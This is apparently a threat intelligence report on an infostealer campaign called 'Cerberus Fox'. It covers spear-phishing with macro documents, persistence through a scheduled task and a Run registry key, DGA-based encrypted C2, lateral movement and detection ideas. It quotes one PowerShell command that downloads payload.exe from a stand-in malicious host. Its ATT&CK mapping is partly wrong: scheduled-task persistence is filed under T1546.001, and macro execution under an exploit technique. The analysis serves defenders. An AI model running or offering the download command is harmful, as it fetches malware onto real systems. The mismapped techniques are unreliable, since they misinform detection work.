Mike Torres — Incident Response Specialist
Key Takeaways
- The threat actor utilizes spear-phishing emails with malicious attachments to gain initial access.
- Persistence is achieved through the creation of scheduled tasks and registry modifications.
- Command and Control (C2) communication is encrypted, utilizing domain generation algorithms (DGAs) to evade detection.
Executive Summary
During our investigation into a recent malware campaign dubbed “Cerberus Fox,” we observed a sophisticated infostealer targeting multiple sectors, including finance and healthcare. This malware not only collects sensitive information from compromised systems but also establishes a solid foothold through various persistence techniques. Our analysis revealed a multi-stage attack framework that exhibits advanced evasion tactics, which can significantly hinder traditional detection methods.
Initial Access
The primary vector for initial access involved spear-phishing campaigns. Specifically, the actor sent emails containing malicious Word document attachments. Our review of the samples indicated that when recipients opened the document, they were prompted to enable macros. Upon macro execution, a PowerShell script was invoked, which downloaded the main payload from a remote host. This payload, identified as Cerberus, has the capabilities of stealing credentials from browsers and other applications. The script executed the command: Invoke-WebRequest -Uri "http://malicious-server.com/payload.exe" -OutFile "C:\Users\Public\Downloads\payload.exe".
Execution & Persistence
Once executed, the Cerberus malware dropped additional components into the system. Notably, it created an executable file at C:\ProgramData\Cerberus\cerberus.exe. Our analysis revealed that the malware establishes persistence through two primary methods: the creation of a scheduled task and modifications to the Windows registry. The scheduled task was found at C:\Windows\System32\Tasks\CerberusUpdate, set to trigger every hour, thus ensuring the malware’s continued presence even after system reboots. Additionally, the actor modified the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Cerberus to achieve another layer of persistence.
Command and Control
The Command and Control (C2) infrastructure employed by this actor is noteworthy for its use of DGA. The malware generates and contacts domains through a randomized pattern every 24 hours, which complicates the ability to mitigate the threat through blacklist-based defenses. On initial contact, the malware sends a beacon containing system information and exfiltrates user credentials. The C2 communication is encrypted, using AES-256, to prevent detection by network monitoring solutions. The analysis of the DNS queries revealed that the actor’s operational domains employed a variety of common TLDs, masking their true intent among legitimate traffic.
Lateral Movement & Discovery
As part of our investigation, we noticed that the Cerberus malware is not designed solely for data exfiltration but exhibits capabilities for lateral movement within networks. Using Windows Admin Shares (SMB), the actor could access shared folders and files in an attempt to propagate further within the environment. Tools from the PowerShell Empire framework were observed as potential secondary payloads deployed to facilitate this lateral movement. Our examination revealed evidence of enumeration commands utilized to gather credentials and user data from active directories, likely leveraging existing network privileges.
Impact & Objectives
The overall objectives of the Cerberus campaign appear focused on credential theft and data exfiltration, which align with the actor’s profiling of industries known to handle sensitive financial information. The effective capture of keystrokes and credential storage mechanisms in web browsers empowers the attacker to craft a more extensive profile of their targets. Interestingly, once the actor has harvested sufficient information, they also deployed ransomware-like techniques, likely indicating a dual objective of data theft and extortion in later stages. This could signify a shift in tactics as the actor scales their operation based on the volume of sensitive information acquired.
MITRE ATT&CK Mapping
- T1203 – Exploitation for Client Execution: Malicious Word document exploits to execute embedded PowerShell scripts.
- T1059.001 – Command and Scripting Interpreter: PowerShell: Use of PowerShell to download the main payload.
- T1546.001 – Event Triggered Execution: Utilization of a scheduled task to maintain persistence.
- T1071.001 – Application Layer Protocol: Web Protocols: C2 communication over HTTP/HTTPS using encrypted traffic.
Detection Opportunities
- Monitoring for unusual process creation involving PowerShell and Office application macros can help identify initial access attempts.
- Implementing detection rules for changes to the registry keys associated with application auto-start can assist in identifying persistence methods.
- Network monitoring for anomalous DNS queries to suspicious domains can help disrupt C2 communications before significant data exfiltration occurs.
Analyst Notes
Given the advanced techniques utilized by the Cerberus malware, organizations must enhance their detection capabilities and incident response strategies. Continuous monitoring and user education are critical in mitigating risks associated with spear-phishing. The thorough understanding of the attacker’s TTPs will aid in forming robust defense mechanisms against similar future threats.
Source: Original Report